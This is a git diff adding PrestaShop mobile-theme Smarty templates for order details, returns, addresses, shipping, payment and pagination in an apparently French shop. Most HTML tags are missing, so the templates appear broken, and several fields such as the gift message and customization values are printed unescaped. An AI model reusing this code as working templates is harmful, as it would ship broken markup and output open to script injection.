        {l s='Delivery'}

        +
          isVirtual()}style="display:none;"{/if}> + {foreach from=$dlv_adr_fields name=dlv_loop item=field_item} + {if $field_item eq "company" && isset($address_delivery->company)}
        • {$address_delivery->company|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "address2" && $address_delivery->address2}
        • {$address_delivery->address2|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "phone_mobile" && $address_delivery->phone_mobile}
        • {$address_delivery->phone_mobile|escape:'htmlall':'UTF-8'}
        • + {else} + {assign var=address_words value=" "|explode:$field_item} +
        • {foreach from=$address_words item=word_item name="word_loop"}{if !$smarty.foreach.word_loop.first} {/if}{$deliveryAddressFormatedValues[$word_item|replace:',':'']|escape:'htmlall':'UTF-8'}{/foreach}
        • + {/if} + {/foreach} +
        +
        +
        +{$HOOK_ORDERDETAILDISPLAYED} +{if !$is_guest}
        {/if} +
        + + + + {if $return_allowed}{/if} + + + + {if $order->hasProductReturned()} + + {/if} + + + + + + {if $priceDisplay && $use_tax} + + + + + {/if} + + + + + {if $order->total_discounts > 0} + + + + + {/if} + {if $order->total_wrapping > 0} + + + + + {/if} + + + + + + + + + + + {foreach from=$products item=product name=products} + {if !isset($product.deleted)} + {assign var='productId' value=$product.product_id} + {assign var='productAttributeId' value=$product.product_attribute_id} + {if isset($product.customizedDatas)} + {assign var='productQuantity' value=$product.product_quantity-$product.customizationQuantityTotal} + {else} + {assign var='productQuantity' value=$product.product_quantity} + {/if} + + {if isset($product.customizedDatas)} + + {if $product.id_category_default==12} + {if $return_allowed}{/if} + + {else} + {if $return_allowed}{/if} + + {/if} + + + + {if $order->hasProductReturned()} + + {/if} + {if $product.id_category_default==12} + + {else} + + + {/if} + + {foreach $product.customizedDatas as $customizationPerAddress} + {foreach $customizationPerAddress as $customizationId => $customization} + + {if $return_allowed}{/if} + + + + + {/foreach} + {/foreach} + {/if} + + {if $product.product_quantity > $product.customizationQuantityTotal} + + {if $return_allowed}{/if} + + + + {if $order->hasProductReturned()} + + {/if} + + + + {/if} + {/if} + {/foreach} + {foreach from=$discounts item=discount} + + + + + + + {if $return_allowed} + + {/if} + + {/foreach} + +
        {l s='Reference'}{l s='Product'}{l s='Quantity'}{l s='Returned'}{l s='Prix unitaire'}{l s='Total price'}
          + {l s='Total products (tax excl.)'} {displayWtPriceWithCurrency price=$order->getTotalProductsWithoutTaxes() currency=$currency} +
          + {l s='Total products'} {if $use_tax}{l s='(tax incl.)'}{/if}: {displayWtPriceWithCurrency price=$order->getTotalProductsWithTaxes() currency=$currency} +
          + {l s='Total vouchers:'} {displayWtPriceWithCurrency price=$order->total_discounts currency=$currency convert=1} +
          + {l s='Total gift wrapping cost:'} {displayWtPriceWithCurrency price=$order->total_wrapping currency=$currency} +
          + {l s='Total shipping'} {if $use_tax}{l s='(tax incl.)'}{/if}: {displayWtPriceWithCurrency price=$order->total_shipping currency=$currency} +
          + {l s='Total TTC'} {displayWtPriceWithCurrency price=$order->total_paid currency=$currency} +
        {if $product.product_reference}{$product.product_reference}{else}{l s='Echantillon'}{/if} + + + {$product['qty_returned']} + + + + + +
        + {foreach from=$customization.datas key='type' item='datas'} + {if $type == $CUSTOMIZE_FILE} +
          + {foreach from=$datas item='data'} +
        • + {/foreach} +
        + {elseif $type == $CUSTOMIZE_TEXTFIELD} +
          {counter start=0 print=false} + {foreach from=$datas item='data'} + {assign var='customizationFieldName' value="Text #"|cat:$data.id_customization_field} +
        • {$data.name|default:$customizationFieldName} : {$data.value}
        • + {/foreach} +
        + {/if} + {/foreach} +
        + +
        + + + {$product['qty_returned']} + + + + +
        {$discount.name|escape:'htmlall':'UTF-8'}{l s='Voucher'} {$discount.name|escape:'htmlall':'UTF-8'}1 {if $discount.value != 0.00}-{/if}{convertPriceWithCurrency price=$discount.value currency=$currency} 
        +
        +
        +{if $order->getShipping()|count > 0} + + + + + + + + + + + + {foreach from=$order->getShipping() item=line} + + + + + + + + {/foreach} + +
        {l s='Date'}{l s='Carrier'}{l s='Weight'}{l s='Shipping cost'}{l s='Tracking number'}
        {$line.date_add}{$line.carrier_name}{if $line.weight > 0}{$line.weight|string_format:"%.3f"} {Configuration::get('PS_WEIGHT_UNIT')}{else}-{/if}{if $order->getTaxCalculationMethod() == $smarty.const.PS_TAX_INC}{displayPrice price=$line.shipping_cost_tax_incl currency=$currency->id}{else}{displayPrice price=$line.shipping_cost_tax_excl currency=$currency->id}{/if} + {if $line.tracking_number}{if $line.url && $line.tracking_number}{$line.tracking_number}{else}{$line.tracking_number}{/if}{else}-{/if} +
        +{/if} +
        +{if !$is_guest} + {if $return_allowed} +
        +

        {l s='Merchandise return'}

        +

        {l s='If you wish to return one or more products, please mark the corresponding boxes and provide an explanation for the return. When complete, click the button below.'}

        +

        + +

        +

        + + +

        +
        +
        + {/if} +
        + + {if count($messages)} +

        {l s='Messages'}

        +
        + + + + + + + + + {foreach from=$messages item=message name="messageList"} + + + + + {/foreach} + +
        {l s='From'}{l s='Message'}
        + {if isset($message.elastname) && $message.elastname} + {$message.efirstname|escape:'htmlall':'UTF-8'} {$message.elastname|escape:'htmlall':'UTF-8'} + {elseif $message.clastname} + {$message.cfirstname|escape:'htmlall':'UTF-8'} {$message.clastname|escape:'htmlall':'UTF-8'} + {else} + {$shop_name|escape:'htmlall':'UTF-8'} + {/if} +
        + {dateFormat date=$message.date_add full=1} +
        {$message.message|escape:'htmlall':'UTF-8'|nl2br}
        +
        + {/if} + {if isset($errors) && $errors} +
        +

        {if $errors|@count > 1}{l s='There are %d errors' sprintf=$errors|@count}{else}{l s='There is %d error' sprintf=$errors|@count}{/if}

        +
          + {foreach from=$errors key=k item=error} +
        1. {$error}
        2. + {/foreach} +
        +
        + {/if} + +{else} +

         {l s='You cannot return merchandise with a guest account'}

        +{/if} diff --git a/themes/default/mobile/order-follow.tpl b/themes/default/mobile/order-follow.tpl new file mode 100755 index 0000000..ab8a278 --- /dev/null +++ b/themes/default/mobile/order-follow.tpl @@ -0,0 +1,75 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Return Merchandise Authorization (RMA)'}{/capture} +{include file='./page-title.tpl'} + +
        + {l s='My account'} + + {if isset($errorQuantity) && $errorQuantity}

        {l s='You do not have enough products to request an additional merchandise return.'}

        {/if} + {if isset($errorMsg) && $errorMsg}

        {l s='Please provide an explanation for your RMA.'}

        {/if} + {if isset($errorDetail1) && $errorDetail1}

        {l s='Please check at least one product you would like to return.'}

        {/if} + {if isset($errorDetail2) && $errorDetail2}

        {l s='For each product you wish to add, please specify the desired quantity.'}

        {/if} + {if isset($errorNotReturnable) && $errorNotReturnable}

        {l s='This order cannot be returned.'}

        {/if} + +

        {l s='Here is a list of pending merchandise returns'}.

        +
        + {if $ordersReturn && count($ordersReturn)} + + + + + + + + + + + + {foreach from=$ordersReturn item=return name=myLoop} + + + + + + + + {/foreach} + +
        {l s='Return'}{l s='Order'}{l s='Package status'}{l s='Date issued'}{l s='Return slip'}
        {l s='#'}{$return.id_order_return|string_format:"%06d"}{l s='#'}{$return.id_order|string_format:"%06d"}{$return.state_name|escape:'htmlall':'UTF-8'}{dateFormat date=$return.date_add full=0} + {if $return.state == 2} + {l s='Order return'} {l s='#'}{$return.id_order_return|string_format: + {l s='Print out'} + {else} + -- + {/if} +
        + + {else} +

        {l s='You have no merchandise return authorizations.'}

        + {/if} +
        +
        diff --git a/themes/default/mobile/order-opc-address.tpl b/themes/default/mobile/order-opc-address.tpl new file mode 100755 index 0000000..2393b56 --- /dev/null +++ b/themes/default/mobile/order-opc-address.tpl @@ -0,0 +1,101 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Address'}{/capture} +{include file='./page-title.tpl'} + +
        +
        +
        +

        {l s='Delivery address'}

        + {if isset($delivery)} +
          +
        • {$delivery->firstname|escape:'htmlall':'UTF-8'} {$delivery->lastname|escape:'htmlall':'UTF-8'}
        • + {if $delivery->company} +
        • {$delivery->company|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$delivery->address1|escape:'htmlall':'UTF-8'}
        • + {if $delivery->address2} +
        • {$delivery->address2|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$delivery->postcode|escape:'htmlall':'UTF-8'} {$delivery->city|escape:'htmlall':'UTF-8'}
        • +
        • {$delivery->country|escape:'htmlall':'UTF-8'} {if $delivery_state}({$delivery_state|escape:'htmlall':'UTF-8'}){/if}
        • +
        + {/if} + + +
        +
        +

        {l s='Invoice address'}

        + {if isset($invoice)} +
          +
        • {$invoice->firstname|escape:'htmlall':'UTF-8'} {$invoice->lastname|escape:'htmlall':'UTF-8'}
        • + {if $invoice->company} +
        • {$invoice->company|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$invoice->address1|escape:'htmlall':'UTF-8'}
        • + {if $invoice->address2} +
        • {$invoice->address2|escape:'htmlall':'UTF-8'}
        • + {/if} +
        • {$invoice->postcode|escape:'htmlall':'UTF-8'} {$invoice->city|escape:'htmlall':'UTF-8'}
        • +
        • {$invoice->country|escape:'htmlall':'UTF-8'} {if $invoice_state}({$invoice_state|escape:'htmlall':'UTF-8'}){/if}
        • +
        + {else} +

        {l s='You must specify your delivery and invoice address'}

        + {/if} + + +
        +
        + + {if $opc} + {assign var="back_order_page" value="order-opc.php"} + {else} + {assign var="back_order_page" value="order.php"} + {/if} + +

        {l s='Add a new address'}

        + +
        diff --git a/themes/default/mobile/order-opc-carrier.tpl b/themes/default/mobile/order-opc-carrier.tpl new file mode 100755 index 0000000..e5b3e64 --- /dev/null +++ b/themes/default/mobile/order-opc-carrier.tpl @@ -0,0 +1,171 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Shipping:'}{/capture} +{include file='./page-title.tpl'} + + + + +
        +

        {l s='Choose your delivery method'}

        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} + {/foreach} + {/if} +
        +
        + + +
        + + {if $giftAllowed} +

        {l s='Gift'}

        +

        + gift == 1}checked="checked"{/if} /> + +
        +       + {if $gift_wrapping_price > 0} + ({l s='Additional cost of'} + + {if $priceDisplay == 1}{convertPrice price=$total_wrapping_tax_exc_cost}{else}{convertPrice price=$total_wrapping_cost}{/if} + + {if $use_taxes}{if $priceDisplay == 1} {l s='(tax excl.)'}{else} {l s='(tax incl.)'}{/if}{/if}) + {/if} +

        +

        + + +

        + {/if} + +

        {l s='Terms of service'}

        +
        + + +
        +

        {l s='(Read Terms of Service)'}

        +
        diff --git a/themes/default/mobile/order-opc-echantillons.tpl b/themes/default/mobile/order-opc-echantillons.tpl new file mode 100755 index 0000000..69602ea --- /dev/null +++ b/themes/default/mobile/order-opc-echantillons.tpl @@ -0,0 +1,31 @@ +
          +{foreach from=$echantillons item=echantillon} +
        • + +
          + {if $echantillon.quantity>0} + + + {else} +
          + +
          + {/if} +
          +
        • +{/foreach} +
        \ No newline at end of file diff --git a/themes/default/mobile/order-opc-payment.tpl b/themes/default/mobile/order-opc-payment.tpl new file mode 100755 index 0000000..407e443 --- /dev/null +++ b/themes/default/mobile/order-opc-payment.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Payment: '}{/capture} +{include file='./page-title.tpl'} + +
        +
        + {$HOOK_PAYMENT} +
        +
        diff --git a/themes/default/mobile/order-opc-rightColumn.tpl b/themes/default/mobile/order-opc-rightColumn.tpl new file mode 100755 index 0000000..5c6475b --- /dev/null +++ b/themes/default/mobile/order-opc-rightColumn.tpl @@ -0,0 +1,19 @@ + + + + {hook h="displayLeftColumn"} \ No newline at end of file diff --git a/themes/default/mobile/order-opc-steps.tpl b/themes/default/mobile/order-opc-steps.tpl new file mode 100755 index 0000000..dc6a6b7 --- /dev/null +++ b/themes/default/mobile/order-opc-steps.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Assign a value to 'current_step' to display current style *} +{capture name="url_back"} +{if isset($back) && $back}back={$back}{/if} +{/capture} + +{if !isset($multi_shipping)} + {assign var='multi_shipping' value='0'} +{/if} + + + + {if $current_step=='payment'} + {assign var='idStep' value='3'} + {elseif $current_step=='shipping'} + {assign var='idStep' value='2'} + {else} + {assign var='idStep' value='1'} + {/if} + + diff --git a/themes/default/mobile/order-opc.tpl b/themes/default/mobile/order-opc.tpl new file mode 100755 index 0000000..b1122b0 --- /dev/null +++ b/themes/default/mobile/order-opc.tpl @@ -0,0 +1,106 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Order'}{/capture} +{include file='./page-title.tpl'} + +{if $PS_CATALOG_MODE} +

        {l s='This store does not accept orders.'}

        +{else} + + + + {* if there is at least one product : checkout process *} + {if $productNumber} + + + {include file="./shopping-cart.tpl"} + + + {if $isLogged AND !$isGuest} + + {include file="./order-opc-address.tpl"} + + + {include file="./order-opc-carrier.tpl"} + + + {include file="./order-opc-payment.tpl"} + + {/if} + + {* else : warning *} + {else} +

        {l s='Your shopping cart is empty.'}

        + {/if} + +{/if} diff --git a/themes/default/mobile/order-payment.tpl b/themes/default/mobile/order-payment.tpl new file mode 100755 index 0000000..f4ebb4b --- /dev/null +++ b/themes/default/mobile/order-payment.tpl @@ -0,0 +1,216 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {hook h="displayBeforePayment"} + {*hook h="displayMobileShoppingCartTop"*} +{if !$opc} + +{/if} +
        + {capture name=path}{l s='Mon paiement'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Mon paiement'}]

        + {assign var="current_step" value="payment"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        + {include file="$tpl_dir./errors.tpl"} +
        {$HOOK_TOP_PAYMENT}
        + {if $HOOK_PAYMENT} +
        {$HOOK_PAYMENT}
        + {else} +

        {l s='No payment modules have been installed.'}

        + {/if} +
        +
        +
        +
        +

        {l s='Récapitulatif'}

        +

        {l s='Panier'}

        + + + + + + + + + + + + {if $echantillons && $echantillons_selected|@count>0} + + + + + {else} + + + + + {/if} + {if $carrier} + + + + + {/if} + + + + + + + + + {foreach from=$products item=product name=productLoop} + {if $product.id_category_default!=12} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='cannotModify' value=1} + {assign var='odd' value=$product@iteration%2} + {assign var='noDeleteButton' value=1} + {* Display the product line *} + {include file="./shopping-cart-product-line-step3.tpl"} + {/if} + {/foreach} + +
        +

        {l s='Total vouchers'}

        +
        + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_discounts_tax_exc*-1} + {else} + {displayPrice price=$total_discounts*-1} + {/if} + {else} + {displayPrice price=$total_discounts_tax_exc*-1} + {/if} +
        +

        {if $use_taxes} + {if $priceDisplay} + {if $display_tax_label}{l s='Total gift wrapping (tax excl.):'}{else}{l s='Total gift wrapping cost:'}{/if} + {else} + {if $display_tax_label}{l s='Total gift wrapping (tax incl.)'}{else}{l s='Total gift wrapping cost:'}{/if} + {/if} + {else} + {l s='Total gift wrapping cost:'} + {/if}

        +
        + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_wrapping_tax_exc} + {else} + {displayPrice price=$total_wrapping} + {/if} + {else} + {displayPrice price=$total_wrapping_tax_exc} + {/if} +
        +

        {l s='Echantillons'}

        + {assign var=compteur value=0} +

        {foreach from=$echantillons item=echantillon}{if IN_ARRAY($echantillon.id_product,$echantillons_selected)}{if $compteur>0}, {/if}{$echantillon.name}{assign var=compteur value=1}{/if} + {/foreach}

        +
        +

        {l s='Echantillons'}

        +

        {l s='Vous n\'avez pas sélectionné vos échantillons gratuits'} +

        {l s='Je choisis mes échantillons'} +

        +

        {$carrier->name} : {convertPrice price=$total_shipping}

        + {if $carrier->delay!=""}

        {l s='Livraison de votre commande'} {$carrier->delay}

        {/if} +
        +

        {l s='TOTAL'}

        +

        {l s='DONT TVA 19.6%'}

        + {l s='Modifier'} +
        + {displayPrice price=$total_price} + {displayPrice price=$total_tax} +
        +
        + + + {if $carrier->name!="Mondial Relay"} + {/if} + name=="Mondial Relay"} style="border:0"{/if}> +

        {l s='Adresse'}
        {l s='de facturation'}

        +
          +
        • {$invoice->firstname} {$invoice->lastname}
        • +
        • {$invoice->address1}
        • + {if $invoice->address2}
        • {$invoice->address2}
        • {/if} +
        • {$invoice->postcode} {$invoice->city}
        • +
        • {$invoice->country }
        • +
        + +
        + + {if $carrier->name!="Mondial Relay"} + {/if} + name=="Mondial Relay"} style="border:0"{/if}> + + + +
        +

        {l s='Adresse'}
        {l s='de livraison'}

        +
          +
        • {$delivery->firstname} {$delivery->lastname}
        • +
        • {$delivery->address1}
        • + {if $delivery->address2}
        • {$delivery->address2}
        • {/if} +
        • {$delivery->postcode} {$delivery->city}
        • +
        • {$delivery->country }
        • +
        +
        + +
        +
        +
        +

        {l s='Emballage cadeau :'} {if $cart->gift==0}{l s='NON'}{else}{l s='OUI'}{/if}

        +

        {l s='votre message personnalisé :'}

        +

        {$cart->gift_message}

        +

         

        +

        {l s='Modifier'}

        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        diff --git a/themes/default/mobile/order-slip.tpl b/themes/default/mobile/order-slip.tpl new file mode 100755 index 0000000..c5b3d35 --- /dev/null +++ b/themes/default/mobile/order-slip.tpl @@ -0,0 +1,55 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Credit slips'}{/capture} +{include file='./page-title.tpl'} + +
        + {l s='My account'} + +

        {l s='Credit slips you have received after cancelled orders'}.

        +
        + {if $ordersSlip && count($ordersSlip)} + + + {else} +

        {l s='You have not received any credit slips.'}

        + {/if} +
        +
        diff --git a/themes/default/mobile/order-steps.tpl b/themes/default/mobile/order-steps.tpl new file mode 100755 index 0000000..34b7ca1 --- /dev/null +++ b/themes/default/mobile/order-steps.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Assign a value to 'current_step' to display current style *} +{capture name="url_back"} +{if isset($back) && $back}back={$back}{/if} +{/capture} + +{if !isset($multi_shipping)} + {assign var='multi_shipping' value='0'} +{/if} + +{if !$opc} + +
          +
        • + {if $current_step=='payment' || $current_step=='shipping' || $current_step=='address' || $current_step=='login'} + + 1. {l s='Summary'} + + {else} + 1. {l s='Summary'} + {/if} +
        • +
        • + {if $current_step=='payment' || $current_step=='shipping' || $current_step=='address'} + + 2. {l s='Login'} + + {else} + 2. {l s='Login'} + {/if} +
        • +
        • + {if $current_step=='payment' || $current_step=='shipping'} + + 3. {l s='Address'} + + {else} + 3. {l s='Address'} + {/if} +
        • +
        • + {if $current_step=='payment'} + + 4. {l s='Shipping'} + + {else} + 4. {l s='Shipping'} + {/if} +
        • +
        • + 5. {l s='Payment'} +
        • +
        + +{/if} diff --git a/themes/default/mobile/page-title.tpl b/themes/default/mobile/page-title.tpl new file mode 100755 index 0000000..d336258 --- /dev/null +++ b/themes/default/mobile/page-title.tpl @@ -0,0 +1,8 @@ +{if !isset($page_title) && isset($meta_title) && $meta_title != $shop_name} + {assign var='page_title' value=$meta_title|escape:'htmlall':'UTF-8'} +{/if} +{if isset($page_title)} + +{/if} \ No newline at end of file diff --git a/themes/default/mobile/pages-list.tpl b/themes/default/mobile/pages-list.tpl new file mode 100755 index 0000000..8513b47 --- /dev/null +++ b/themes/default/mobile/pages-list.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        {l s='Sitemap'}

        +
          + {if $controller_name != 'index'}
        • Accueil
        • {/if} + + {* need to set a Hook : hookMobilePagesList *} + {* ===================================== *} +
        • IPod
        • +
        • Accessoires
        • + {* ===================================== *} + + {if $controller_name != 'my-account'}
        • {l s='My account'}
        • {/if} + {if $controller_name != 'contact'}
        • {l s='Contact'}
        • {/if} +
        diff --git a/themes/default/mobile/pagination.tpl b/themes/default/mobile/pagination.tpl new file mode 100755 index 0000000..42d450e --- /dev/null +++ b/themes/default/mobile/pagination.tpl @@ -0,0 +1,87 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($no_follow) AND $no_follow} + {assign var='no_follow_text' value='rel="nofollow"'} +{else} + {assign var='no_follow_text' value=''} +{/if} + +{if isset($p) AND $p} + {if isset($smarty.get.id_category) && $smarty.get.id_category && isset($category)} + {if !isset($current_url)} + {assign var='requestPage' value=$link->getPaginationLink('category', $category, false, false, true, false)} + {else} + {assign var='requestPage' value=$current_url} + {/if} + {assign var='requestNb' value=$link->getPaginationLink('category', $category, true, false, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer && isset($manufacturer)} + {assign var='requestPage' value=$link->getPaginationLink('manufacturer', $manufacturer, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('manufacturer', $manufacturer, true, false, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier && isset($supplier)} + {assign var='requestPage' value=$link->getPaginationLink('supplier', $supplier, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('supplier', $supplier, true, false, false, true)} + {else} + {assign var='requestPage' value=$link->getPaginationLink(false, false, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink(false, false, true, false, false, true)} + {/if} + +
        +
        + {if $start!=$stop && $pages_nb >= 1} + + {/if} +
        +
